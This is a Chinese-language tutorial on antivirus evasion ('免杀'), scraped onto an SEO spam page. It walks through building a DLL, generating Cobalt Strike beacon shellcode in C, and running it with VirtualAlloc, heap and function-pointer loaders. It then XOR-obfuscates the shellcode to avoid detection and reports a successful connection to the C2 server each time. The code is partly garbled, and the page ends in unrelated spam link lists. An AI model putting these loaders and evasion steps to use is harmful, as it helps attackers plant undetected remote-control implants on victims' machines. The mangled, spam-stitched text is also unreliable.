当前位置: 首页 > wzjs >正文

重庆建设工程信息网官网查询系统网址福州网seo

重庆建设工程信息网官网查询系统网址,福州网seo,那个网站可以找人做设计师,上海网站备案拍照地点免杀进阶技术 1、DLL的定义与使用 DLL:Dynamic Link library,动态链接库,是一个无法自己运行,需要额外的命令或程序来对其接口进行调用(类方法、函数)。 (1)在DevCpp中创建一个DLL项目 (2)在dllmain.c中定义源代码函数接口 #i…

免杀进阶技术

1、DLL的定义与使用

DLL:Dynamic Link library,动态链接库,是一个无法自己运行,需要额外的命令或程序来对其接口进行调用(类方法、函数)。

(1)在DevCpp中创建一个DLL项目

 (2)在dllmain.c中定义源代码函数接口

#include "dll.h"
#include windows. hDLLIMPORT void Helloworld()
{MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):
}DLLIMPORT int Calculate (int a, int b) {int result = a + b;return result;
}

(3)在dll.h的头文件中声明函数接口

DLLIMPORT void Helloworld();
DLLIMPORT int Calculate(int a, int b);

(4)在Python中调用DLL函数接口

没有编译之前都是源代码

当我们点击编译

 发现编译无错误,编译成功

编译一旦成功,这里就会生成一个DLL文件

由于DLL只是供别人调用的一个函数库,所以自己本身是不能运行的

如果我们直接点击运行,会告诉我们没有提供主程序,那么是没有办法进行运行的,它只是写好给别的程序调

然后将这个dll文件复制到我们的python目录下来,然后我们就可以在python当中进行调用了

然后我们创建一个dlltest.py,开始写入代码

import ctypes#加载DLL文件
func = ctypes.CDLL("./MyDLLDemo.dll")#调用函数
func.HelloWorld()

运行这段代码,运行结果如下:

然后我们再调用一个函数

result = func.Calculate(100,200)
print(result)

运行结果如下:

2、C语言加载ShellCode

1、在MSF或CS中生成C语言的ShellCode

unigned 叫无符号型(没有负数位),有符号位:-128-127,无符号:0-255

char buf[] 表示定义了一个字符数组(也可以看成是字符串,C语言没有内置字符串类型),在c语言中也可以用字符指针进行定义

我们使用32位的,不适用64位的

然后选择HTTP_Beacon

保存到Muma18的目录底下去

然后打开payload.c,这就是一个C语言版本的CS的payload

2、在C语言中对其进行加载实现CS上线

我们新建一个C语言的可执行项目,名称叫做RunCS

将我们生成的payload输入进去

编译没有报错

 然后运行,没有报错

 然后发现上线成功

 运行代码的时候,文件夹里会出现可执行程序RunCS.exe

这种程序不会免杀的

 3、C语言加载调用shellcode的几种方式

//第一种加载:申请内存加载
void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcdy(p,enc,sizeof(enc));
CODE code = (CODE) p;
code();
}//第二种加载:堆加载
HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
memcpy (exec, enc, sizeof(enc));
((void (*) ()) exec) () ;//第三种加载:函数指针加载
((void (*) (void)) & enc) () ;

使用内存加载的方式

然后我们编译运行,发现没有问题,说明编译成功

上线成功

使用堆加载的方式

编译运行成功

成功上线

 将这几种代码整合起来,如下:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>typedef void (__stdcall *CODE) () ;/* run this program using the console pauser or add your own getch, system("pause") or input loop */unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";void start () {申请内存加载/*void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,                         PAGE_EXECUTE_READWRITE);memcpy (p, buf, sizeof(buf));CODE code = (CODE) p;code();*/堆加载HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));memcpy (exec, buf, sizeof(buf));((void (*) ()) exec) () ;函数指针加载/* ((void(*) (void)) & buf) (); */int main(int arge, char targv[]) {start();return 0;
}

以上加载器不免杀

3、尝试对ShellCode进行代码混淆

对我们的shellcode进行异或处理,然后打印到控制台上去

编译成功,说明没有错误

 然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码混淆

得到了加密的之后,我们就来解密

将加密的ShellCode放到一个字符数组里面去,然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode

编译运行成功

 上线成功

http://www.dtcms.com/wzjs/195775.html

相关文章:

  • 上海的网站建设公司哪家好舆情网站直接打开
  • 黑龙江省建设厅安全员考试成都企业seo
  • 建设网站文件夹的名字网络营销模式案例
  • 怎么创建一个网站做草根站长网站优化的方法有哪些
  • 自己做网站 怎么解决安全问题软文推广经典案例
  • 本地wordpress后台进不去佛山做优化的公司
  • 洛阳网站建设lyland英文外链平台
  • 做电商网站注意什么问题怎么搭建一个网站
  • 7k网站怎么做指数基金有哪些
  • 网上学做网站网络营销的作用
  • 开封市网站开发公司近期国内热点新闻事件
  • 论坛建立网站头条发布视频成功显示404
  • 从化网站建设推广活动推广朋友圈文案
  • 网站免费虚拟空间新浪舆情通
  • 网站做的支付宝接口吗网络营销主要做什么
  • app网站建站系统策划方案企业网站推广效果指标分析
  • 建设银行官方网站诚聘英才网络营销简介
  • 长沙营销型海淀区seo搜索引擎
  • 广东网站推广域名注册时间查询
  • 优化公司怎么优化网站的小程序开发系统
  • 网站后台制作这么做信阳网站seo
  • 怎么做各个地图网站的认证发帖推广百度首页
  • 北京做网站建设的公司哪家好百度电话怎么转人工
  • 合肥网站制作前3名的旅游网站的网页设计
  • 手机网站开发方案关键词优化怎么操作
  • 企业手机网站建设渠道谷歌推广效果怎么样
  • 成都中小企业网站建设公司seo推广软件费用
  • 专做农产品跨境的网站有b站2023推广网站
  • 昭通市公安局网站是谁做的网络营销与直播电商
  • 班级网站html代码宁波网站推广方案